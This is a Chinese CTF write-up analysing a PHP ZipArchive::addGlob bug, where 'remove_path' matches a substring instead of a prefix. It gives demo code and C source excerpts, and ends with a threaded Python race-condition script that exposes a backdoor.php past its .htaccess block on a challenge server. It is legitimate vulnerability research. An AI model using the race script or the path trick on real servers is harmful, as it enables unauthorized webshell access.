关键点请从my
开始看
$dir -> /tmp$subdir -> /$jsons $jsonDir -> /tmp/$jsons $escapeDir -> /var /www/html/$jsons $archiveFile -> /tmp/$jsons /archive.zip/tmp/$jsons /backdoor.php /tmp/$jsons /.htaccess $dev_dir -> 默认/tmp 可选$
额,变量太多了,直接找吧,貌似是这个利用点,但是为什么还是forbidden呢,环境还有么唉
<?php $file = 'foo-bar' ;touch ($file );$zip = new ZipArchive ();$zip ->open ('test.zip' , ZipArchive ::CREATE | ZipArchive ::OVERWRITE );$options = array ('add_path' => 'prefix-' , 'remove_path' => 'foo-' );$zip ->addGlob ($file , 0 , $options );for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $sb = $zip ->statIndex ($i ); echo $sb ['name' ]; } $zip ->close ();Expected result: ---------------- prefix-bar Actual result: -------------- prefix-ar
以及这个链接
再copy一份test
--TEST-- ZipArchive ::addPattern () method--CREDITS-- Sammy Kaye Powers <sammyk@sammykmedia.com> w/Kenzo over the shoulder --SKIPIF-- <?php if (!extension_loaded ('zip' )) die ('skip' );?> --FILE-- <?php $dirname = dirname (__FILE__ ) . '/' ;include $dirname . 'utils.inc' ;$file = $dirname . '__tmp_oo_addpattern.zip' ;copy ($dirname . 'test.zip' , $file );touch ($dirname . 'foo.txt' );touch ($dirname . 'bar.txt' );$zip = new ZipArchive ();if (!$zip ->open ($file )) { exit ('failed' ); } $dir = realpath ($dirname );$options = array ('add_path' => 'baz/' , 'remove_path' => $dir );if (!$zip ->addPattern ('/\.txt$/' , $dir , $options )) { echo "failed\n" ; } if ($zip ->status == ZIPARCHIVE::ER_OK ) { dump_entries_name ($zip ); $zip ->close (); } else { echo "failed\n" ; } ?> --CLEAN-- <?php $dirname = dirname (__FILE__ ) . '/' ;unlink ($dirname . '__tmp_oo_addpattern.zip' );unlink ($dirname . 'foo.txt' );unlink ($dirname . 'bar.txt' );?> --EXPECTF-- 0 bar1 foobar/2 foobar/baz3 entry1.txt4 baz/bar.txt5 baz/foo.txt
true wp
?action=create&subdir=/tmp ?action=zip&subdir=/tmp&dev=/tmp/. ?action=unzip&subdir=/tmp
换个思路,通过'remove_path'=>$dev_dir
来清除。
要满足 realpath($dev_dir) = $dir
并且删除.htaccess
可以构造 dev=/tmp/.
。
思路条件竞争create的写入backdoor.php 和htaccess之间进行zip,这样就可以只去掉访问限制
import threadingimport requestsurl = "http://web-76898ea9a8.challenge.xctf.org.cn/" sess = requests.session() t = threading.Semaphore(80 ) def clean (): while True : t.acquire() p = {"action" : "clean" , "subdir" : "/xxx" } sess.get(url, params=p) t.release() def create (): while True : t.acquire() p = {"action" : "create" , "subdir" : "/xxx" } sess.get(url, params=p) t.release() def zip (): while True : t.acquire() p = {"action" : "zip" , "subdir" : "/xxx" } sess.get(url, params=p) t.release() def unzip (): while True : t.acquire() p = {"action" : "unzip" , "subdir" : "/xxx" } sess.get(url, params=p) t.release() threading.Thread(target=clean).start() threading.Thread(target=create).start() threading.Thread(target=create).start() threading.Thread(target=zip ).start() threading.Thread(target=unzip).start() while True : fh = sess.get(url + "xxx/backdoor.php" ) if fh.status_code != 403 : print (fh.text) break
my
if ((option = zend_hash_str_find (options, "remove_path" , sizeof ("remove_path" ) - 1 )) != NULL ) { if (Z_TYPE_P (option) != IS_STRING) { zend_type_error ("Option \"remove_path\" must be of type string, %s given" , zend_zval_type_name (option)); return -1 ; } if (Z_STRLEN_P (option) == 0 ) { zend_value_error ("Option \"remove_path\" cannot be empty" ); return -1 ; } if (Z_STRLEN_P (option) >= MAXPATHLEN) { zend_value_error ("Option \"remove_path\" must be less than %d bytes" , MAXPATHLEN - 1 ); return -1 ; } opts->remove_path_len = Z_STRLEN_P (option); opts->remove_path = Z_STRVAL_P (option); } else if (opts.remove_path && strstr (Z_STRVAL_P (zval_file), opts.remove_path) != NULL ) { if (IS_SLASH (Z_STRVAL_P (zval_file)[opts.remove_path_len])) { file_stripped = Z_STRVAL_P (zval_file) + opts.remove_path_len + 1 ; file_stripped_len = Z_STRLEN_P (zval_file) - opts.remove_path_len - 1 ; } else { file_stripped = Z_STRVAL_P (zval_file) + opts.remove_path_len; file_stripped_len = Z_STRLEN_P (zval_file) - opts.remove_path_len; } }
他的匹配机制是搜索这个字符,有的话计算长度再从最前面移除,所以只要是在其中出现了的字符都是可以匹配到了,很奇怪的东西
issue
<?php $zip = new ZipArchive ();$filename = "./test.zip" ;if ($zip ->open ($filename , ZipArchive ::CREATE )!==TRUE ) { exit ("无法打开 <$filename >\n" ); } $dev_dir = '/test/a.p' ; $zip ->addGlob ('/test/test/a.php' , 0 , ['add_path' => 'var/www/html/' , 'remove_path' => $dev_dir ]);$zip ->close ();if ($zip ->open ($filename ) === true ) { $extractPath = '/test' ; $zip ->extractTo ($extractPath ); $zip ->close (); $files = scandir ($extractPath ); foreach ($files as $file ) { echo $file . "\n" ; } } else { echo "无法打开 <$filename >\n" ; }
result
由于设置的是/test/a.p
,原始/test/test/a.php
,最后结果/t/a.php
移除了/test/tes
这与设置的remove_path
长度相同
(不是移除,是指针 )
需要注意的是,只能有唯一的串,如果是多次出现的就没有这个效果了
正如源码里所展示的这样,addGlob展示的remove_path
是去除前缀
public ZipArchive::addGlob(string $pattern, int $flags = 0, array $options = []): array|false
- `"remove_path"` Prefix to remove from matching file paths before adding to the archive.
然而实际上我发现匹配的是整个文件名的内容
if ((zval_file = zend_hash_index_find(Z_ARRVAL_P(return_value), i)) != NULL ) { if (opts.remove_all_path) { basename = php_basename(Z_STRVAL_P(zval_file), Z_STRLEN_P(zval_file), NULL , 0 ); file_stripped = ZSTR_VAL(basename); file_stripped_len = ZSTR_LEN(basename); } else if (opts.remove_path && strstr (Z_STRVAL_P(zval_file), opts.remove_path) != NULL ) { if (IS_SLASH(Z_STRVAL_P(zval_file)[opts.remove_path_len])) { file_stripped = Z_STRVAL_P(zval_file) + opts.remove_path_len + 1 ; file_stripped_len = Z_STRLEN_P(zval_file) - opts.remove_path_len - 1 ; } else { file_stripped = Z_STRVAL_P(zval_file) + opts.remove_path_len; file_stripped_len = Z_STRLEN_P(zval_file) - opts.remove_path_len; } } else { file_stripped = Z_STRVAL_P(zval_file); file_stripped_len = Z_STRLEN_P(zval_file); }
而当指定的remove_path
是文件路径后半段中的某些部分的时候,指针也会做移动,然而这是错误的,因此我们得到了一个奇怪的答案,这里我们演示一下
/tmp ├── Dire │ └── This_Is_A_File └── test.php 2 directories, 2 files
我的演示文件
<?php $zip = new ZipArchive ();$filename = "./HereIsZip.zip" ;if ($zip ->open ($filename , ZipArchive ::CREATE )!==TRUE ) { exit ("Wrong!!!\n" ); } $dir = '/tmp/Dire' ;$FirstDir = '/Dire/' ;$SecondDir = 'This_Is' ;$ThirdDir = '/D' ;$zip ->addGlob ('/tmp/Dire/This_Is_A_File' , 0 , ['add_path' => '/' , 'remove_path' => $FirstDir ]);$zip ->addGlob ('/tmp/Dire/This_Is_A_File' , 0 , ['add_path' => '/' , 'remove_path' => $SecondDir ]);$zip ->addGlob ('/tmp/Dire/This_Is_A_File' , 0 , ['add_path' => '/' , 'remove_path' => $ThirdDir ]);$zip ->addGlob ('/tmp/Dire/This_Is_A_File' , 0 , ['add_path' => '/' , 'remove_path' => $dir ]);$zip ->close ();if ($zip ->open ($filename ) === true ) { $extractPath = '/tmp' ; $zip ->extractTo ($extractPath ); $zip ->close (); } else { echo "Wrong\n" ; }
运行php test.php
结果是
/tmp ├── Dire │ └── This_Is_A_File ├── HereIsZip.zip ├── ire │ └── This_Is_A_File ├── mp │ └── Dire │ └── This_Is_A_File ├── re │ └── This_Is_A_File ├── test.php └── This_Is_A_File 6 directories, 7 files
我想结果非常显然
$dir = '/tmp/Dire' $FirstDir = '/Dire/' ; $SecondDir = 'This_Is' ;$ThirdDir = '/D' ;
我想这很能说明问题,并且和文档描述的Prefix to remove from matching file paths before adding to the archive
不一致
属于我的issue